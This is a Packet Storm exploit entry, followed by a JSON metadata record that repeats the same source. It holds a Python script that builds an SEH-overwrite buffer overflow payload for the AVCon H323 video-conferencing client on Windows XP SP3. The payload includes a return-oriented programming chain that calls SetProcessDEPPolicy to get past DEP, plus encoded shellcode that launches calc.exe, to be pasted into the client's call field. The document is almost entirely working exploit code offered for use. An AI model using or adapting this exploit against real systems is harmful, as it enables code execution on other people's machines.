ID PACKETSTORM:105252
Type packetstorm
Reporter Blake
Modified 2011-09-21T00:00:00
Description
`# DEP Bypass for OptIn/OptOut
# all modules used are not aslr aware
# script produces a text file, copy the contents
# paste in the input field next to the call button
# discovered by Dillon Beresford
import sys
from struct import pack
print "\n====================="
print "AVCon H323 DEP Bypass"
print " Written by Blake "
print " Tested on XP SP3 "
print "=====================\n"
# around 619 bytes of space before seh overwrite
# if more space is needed, around 2263 bytes after seh overwrite
# calc.exe
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
# SetProcessDEPPolicy ROP Chain
seh = pack('<L',0x1001414a) # {pivot 2072} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN ** [avnmc2.dll]
rop_nop = "\x41" * 3 # needed to align rop nop
rop_nop += pack('<L',0x10024c43) * 90 # RETN - avnmc2.dll
rop = pack('<L',0x20047e99) # POP EBX, RETN - HikPlayM4.dll
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x6de13c78) # INC EBX # RETN 00 ** [xish264.dll]
rop += pack('<L',0x6ddc48e4) # POP EBP, RETN - xish264.dll
rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy - XP SP3
rop += pack('<L',0x20050f44) # POP EDI, RETN - HikPlayM4.dll
rop += pack('<L',0x20050f45) # RETN
rop += pack('<L',0X20014DE1) # POP ESI, RETN
rop += pack('<L',0x20050f45) # RETN
rop += pack('<L',0x10016d22) # PUSHAD # RETN ** [avnmc2.dll]
nops = "\x90" * 20
junk = "\x43" * 5000
buffer = "\x41" * (1023 - len(rop_nop + rop + nops + shellcode)) # SEH overwritten at 1023
print "[+] Creating file"
try:
file = open("exploit.txt","w")
file.write(rop_nop + rop + nops + shellcode + buffer + seh + junk)
file.close()
print "[+] File created"
except:
print "[X] Error creating file!"
raw_input("[+] Press any key to exit\n")
`
{"id": "PACKETSTORM:105252", "type": "packetstorm", "bulletinFamily": "exploit", "title": "AVCon Buffer Overflow With DEP Bypass", "description": "", "published": "2011-09-21T00:00:00", "modified": "2011-09-21T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/105252/AVCon-Buffer-Overflow-With-DEP-Bypass.html", "reporter": "Blake", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:16:04", "viewCount": 3, "enchantments": {"score": {"value": 0.8, "vector": "NONE", "modified": "2016-11-03T10:16:04", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:16:04", "rev": 2}, "vulnersScore": 0.8}, "sourceHref": "https://packetstormsecurity.com/files/download/105252/avcon-bypass.txt", "sourceData": "`# DEP Bypass for OptIn/OptOut \n# all modules used are not aslr aware \n# script produces a text file, copy the contents \n# paste in the input field next to the call button \n# discovered by Dillon Beresford \n \nimport sys \nfrom struct import pack \n \nprint \"\\n=====================\" \nprint \"AVCon H323 DEP Bypass\" \nprint \" Written by Blake \" \nprint \" Tested on XP SP3 \" \nprint \"=====================\\n\" \n \n# around 619 bytes of space before seh overwrite \n# if more space is needed, around 2263 bytes after seh overwrite \n# calc.exe \nshellcode =( \n\"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49\" \n\"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36\" \n\"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34\" \n\"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41\" \n\"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x44\" \n\"\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x48\\x45\\x54\\x4e\\x43\\x4b\\x38\\x4e\\x47\" \n\"\\x45\\x50\\x4a\\x57\\x41\\x30\\x4f\\x4e\\x4b\\x58\\x4f\\x54\\x4a\\x41\\x4b\\x38\" \n\"\\x4f\\x45\\x42\\x42\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x38\\x46\\x33\\x4b\\x48\" \n\"\\x41\\x50\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x58\\x42\\x4c\" \n\"\\x46\\x57\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e\" \n\"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x32\\x46\\x50\\x45\\x47\\x45\\x4e\\x4b\\x58\" \n\"\\x4f\\x45\\x46\\x52\\x41\\x50\\x4b\\x4e\\x48\\x56\\x4b\\x58\\x4e\\x50\\x4b\\x44\" \n\"\\x4b\\x48\\x4f\\x55\\x4e\\x41\\x41\\x30\\x4b\\x4e\\x4b\\x58\\x4e\\x41\\x4b\\x38\" \n\"\\x41\\x50\\x4b\\x4e\\x49\\x48\\x4e\\x45\\x46\\x32\\x46\\x50\\x43\\x4c\\x41\\x33\" \n\"\\x42\\x4c\\x46\\x46\\x4b\\x38\\x42\\x44\\x42\\x53\\x45\\x38\\x42\\x4c\\x4a\\x47\" \n\"\\x4e\\x30\\x4b\\x48\\x42\\x44\\x4e\\x50\\x4b\\x58\\x42\\x37\\x4e\\x51\\x4d\\x4a\" \n\"\\x4b\\x48\\x4a\\x36\\x4a\\x30\\x4b\\x4e\\x49\\x50\\x4b\\x38\\x42\\x58\\x42\\x4b\" \n\"\\x42\\x50\\x42\\x50\\x42\\x50\\x4b\\x38\\x4a\\x36\\x4e\\x43\\x4f\\x45\\x41\\x53\" \n\"\\x48\\x4f\\x42\\x46\\x48\\x35\\x49\\x38\\x4a\\x4f\\x43\\x48\\x42\\x4c\\x4b\\x57\" \n\"\\x42\\x45\\x4a\\x36\\x42\\x4f\\x4c\\x38\\x46\\x30\\x4f\\x35\\x4a\\x46\\x4a\\x39\" \n\"\\x50\\x4f\\x4c\\x38\\x50\\x50\\x47\\x55\\x4f\\x4f\\x47\\x4e\\x43\\x46\\x41\\x46\" \n\"\\x4e\\x46\\x43\\x36\\x42\\x50\\x5a\") \n \n# SetProcessDEPPolicy ROP Chain \nseh = pack('<L',0x1001414a) # {pivot 2072} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN ** [avnmc2.dll] \nrop_nop = \"\\x41\" * 3 # needed to align rop nop \nrop_nop += pack('<L',0x10024c43) * 90 # RETN - avnmc2.dll \nrop = pack('<L',0x20047e99) # POP EBX, RETN - HikPlayM4.dll \nrop += \"\\xff\\xff\\xff\\xff\" \nrop += pack('<L',0x6de13c78) # INC EBX # RETN 00 ** [xish264.dll] \nrop += pack('<L',0x6ddc48e4) # POP EBP, RETN - xish264.dll \nrop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy - XP SP3 \nrop += pack('<L',0x20050f44) # POP EDI, RETN - HikPlayM4.dll \nrop += pack('<L',0x20050f45) # RETN \nrop += pack('<L',0X20014DE1) # POP ESI, RETN \nrop += pack('<L',0x20050f45) # RETN \nrop += pack('<L',0x10016d22) # PUSHAD # RETN ** [avnmc2.dll] \n \nnops = \"\\x90\" * 20 \njunk = \"\\x43\" * 5000 \nbuffer = \"\\x41\" * (1023 - len(rop_nop + rop + nops + shellcode)) # SEH overwritten at 1023 \n \nprint \"[+] Creating file\" \ntry: \nfile = open(\"exploit.txt\",\"w\") \nfile.write(rop_nop + rop + nops + shellcode + buffer + seh + junk) \nfile.close() \nprint \"[+] File created\" \nexcept: \nprint \"[X] Error creating file!\" \n \nraw_input(\"[+] Press any key to exit\\n\") \n \n \n`\n"}
{}